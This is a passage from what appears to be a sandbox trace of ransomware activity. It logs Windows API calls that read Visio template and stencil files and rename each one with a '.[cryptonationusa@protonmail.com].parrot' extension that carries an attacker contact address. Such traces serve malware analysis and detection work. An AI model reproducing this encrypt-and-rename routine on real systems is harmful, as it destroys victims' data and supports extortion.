SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pert_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PERT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pert_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.664] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.664] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.667] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.667] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x32800, lpOverlapped=0x0) returned 1 [0224.674] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVALV_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevalv_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVALV_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevalv_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.719] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.719] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.726] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.726] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x31400, lpOverlapped=0x0) returned 1 [0224.737] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVALV_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevalv_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVALV_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevalv_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.752] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.752] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.762] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.762] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1aa00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1aa00, lpOverlapped=0x0) returned 1 [0224.769] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevess_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevess_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.785] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.785] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.787] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.787] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a000, lpOverlapped=0x0) returned 1 [0224.818] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.824] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevess_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevess_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.834] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.834] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.836] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.836] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x42600, lpOverlapped=0x0) returned 1 [0224.851] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe1_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe1_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.917] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.918] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.919] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.919] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x36600, lpOverlapped=0x0) returned 1 [0224.934] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe1_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe1_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.949] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.949] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.951] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.951] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x28c00, lpOverlapped=0x0) returned 1 [0224.964] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe2_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe2_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0224.977] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0224.977] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0224.978] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.979] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24c00, lpOverlapped=0x0) returned 1 [0224.989] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe2_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe2_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.002] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.002] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.003] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.004] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x56600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x56600, lpOverlapped=0x0) returned 1 [0225.020] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLANT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plant_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLANT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plant_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.101] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.101] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.102] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.103] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x51000, lpOverlapped=0x0) returned 1 [0225.123] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLANT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plant_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLANT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plant_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.148] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.149] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.150] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfa00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfa00, lpOverlapped=0x0) returned 1 [0225.157] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLMPIP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plmpip_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLMPIP_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plmpip_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.170] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.170] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.172] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.172] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf800, lpOverlapped=0x0) returned 1 [0225.175] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLMPIP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plmpip_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLMPIP_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plmpip_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.188] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.188] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.189] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.190] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16200, lpOverlapped=0x0) returned 1 [0225.194] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLTLYT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pltlyt_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLTLYT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pltlyt_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.244] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.244] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.246] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16000, lpOverlapped=0x0) returned 1 [0225.249] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLTLYT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pltlyt_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLTLYT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pltlyt_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.277] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.277] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.287] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.287] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20000, lpOverlapped=0x0) returned 1 [0225.294] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLUMB_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plumb_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLUMB_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plumb_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.304] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.304] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.305] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.305] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e000, lpOverlapped=0x0) returned 1 [0225.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLUMB_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plumb_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLUMB_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plumb_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.332] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.333] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4200, lpOverlapped=0x0) returned 1 [0225.335] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0225.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0225.343] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0225.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.344] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, 